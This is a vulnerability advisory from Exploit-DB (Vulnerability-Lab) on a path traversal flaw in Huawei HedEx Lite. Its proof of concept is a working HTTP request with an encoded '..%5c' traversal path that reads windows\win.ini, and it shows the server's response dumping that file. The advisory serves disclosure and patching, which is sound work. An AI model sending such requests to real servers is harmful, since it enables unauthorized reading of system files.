Exploit-DB #49218
Description: Huawei HedEx Lite 200R006C00SPC005 - Path Traversal
Type: remote
Platform: windows
Date: 2020-12-09
Author: Vulnerability-Lab

Exploit:
# Exploit Title: Huawei HedEx Lite 200R006C00SPC005 - Path Traversal
# Date: 2020-11-24
# Exploit Author: Vulnerability-Lab
# Vendor Homepage: https://www.huawei.com/
# Software Link: https://support.huawei.com/carrier/docview!docview?nid=SCL[PII_REDACTED]&path=PAN-ET/PAN-T/PAN-T-HedEx
# Version: 200R006C00SPC005

Document Title:
===============
Huawei HedEx Lite (DM) - Path Traversal Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2268


Release Date:
=============
2020-11-24


Vulnerability Laboratory ID (VL-ID):
====================================
2268


Common Vulnerability Scoring System:
====================================
7


Vulnerability Class:
====================
Directory- or Path-Traversal


Current Estimated Price:
========================
3.000€ - 4.000€


Product & Service Introduction:
===============================
https://support.huawei.com/carrier/docview!docview?nid=SCL[PII_REDACTED]&path=PAN-ET/PAN-T/PAN-T-HedEx


Abstract Advisory Information:
==============================
A vulnerability laboratory core team researcher discovered a path
traversal vulnerability in the Huawei HedEx Lite v200R006C00SPC005.


Vulnerability Disclosure Timeline:
==================================
2020-11-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
An exploitable path traversal vulnerability has been discovered in the
official Huawei HedEx Lite v200R006C00SPC005.
Attackers can able to request local files or resources by remote
requesting to unauthorized change a local path.


Proof of Concept (PoC):
=======================
The path traversal vulnerability can be exploited by remote attackers
with restricted system user privileges wihtout user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Vulnerable File(s):
./newOtherManageContent.cgi [URL Path Filename]
./newStartupHedExBeeAction.cgi [URL Path Filename]
./newprehomeadvsearch.cgi [URL Path Filename]


--- PoC Session Logs [POST Method Request] ---
URL:
http://localhost:7890/newOtherManageContent.cgi/................................windowswin.ini
Path:
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
HTTP/1.1
Host: localhost:7890
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101
Firefox/27.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost:7890/newindex.cgi
Connection: close
Content-Length: 0


 --- PoC Session Logs [Response] ---
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="win.ini"
Content-Length: 1801
Content-Type: application/octet-stream;charset=utf-8
X-Frame-Options: SAMEORIGIN
-
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[Drivers.32]
OLEMessaging.64=$80,$5D,$D9,$A6,$A4,$18,$A8,$AD
[ChannelDownmixer]
p1.bIsMultichannel=0
p1.wFormatTag=1
p1.nChannels=2
p1.dwChannelMask=63
p1.wBitsPerSample=16
p1.RequiredInputBitDepth=0
p1.bRequireInputNumberOfChannels=0
p1.RequiredInputNumberOfChannels=6
p1.bRequireInputSamplerate=0
p1.RequiredInputSamplerate=48000
p1.bRaiseMeritAndSingleInstance=1
p2.InputEnableBitmask=-1
p2.OutputEnableBitmask=-1
p2.bEnableInputGains=0
p2.bEnableOutputGains=0
p2.bEnableMasterVolume=0
p2.MasterVolumeGain=100
p2.I.FL=100
p2.I.FR=100
p2.I.FC=100
p2.I.LF=100
p2.I.BL=100
p2.I.BR=100
p2.I.FLC=100
p2.I.FRC=100
p2.I.BC=100
p2.I.SL=100
p2.I.SR=100
p2.I.TC=100
p2.I.TFL=100
p2.I.TFC=100
p2.I.TFR=100
p2.I.TBL=100
p2.I.TBC=100
p2.I.TBR=100
p2.I.bJoinFLFR=1
p2.I.bJoinBLBR=1
p2.I.bJoinFLCFRC=1
p2.I.bJoinSLSR=1
p2.I.bJoinTFLTFR=1
p2.I.bJoinTBLTBR=1
p2.O.FL=100
p2.O.FR=100
p2.O.FC=100
p2.O.LF=100
p2.O.BL=100
p2.O.BR=100
p2.O.FLC=100
p2.O.FRC=100
p2.O.BC=100
p2.O.SL=100
p2.O.SR=100
p2.O.TC=100
p2.O.TFL=100
p2.O.TFC=100
p2.O.TFR=100
p2.O.TBL=100
p2.O.TBC=100
p2.O.TBR=100
p2.O.bJoinFLFR=1
p2.O.bJoinBLBR=1
p2.O.bJoinFLCFRC=1
p2.O.bJoinSLSR=1
p2.O.bJoinTFLTFR=1
p2.O.bJoinTBLTBR=1
p3.bCustomMixMatrix=0
CustomMixMatrixFilename=
LastRegisteredVersion=20000


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by setting restricted accessable
paths.  A whitelist or static paths configuration can be combined.
An update is available on the huawei website provided by the
manufacturer of the application via customer portal.


Security Risk:
==============
The security risk of the path traversal web vulnerability in the
download manager software is estimated as high.


Credits & Authors:
==================
S.AbenMassaoud [Research Team] -
https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warrant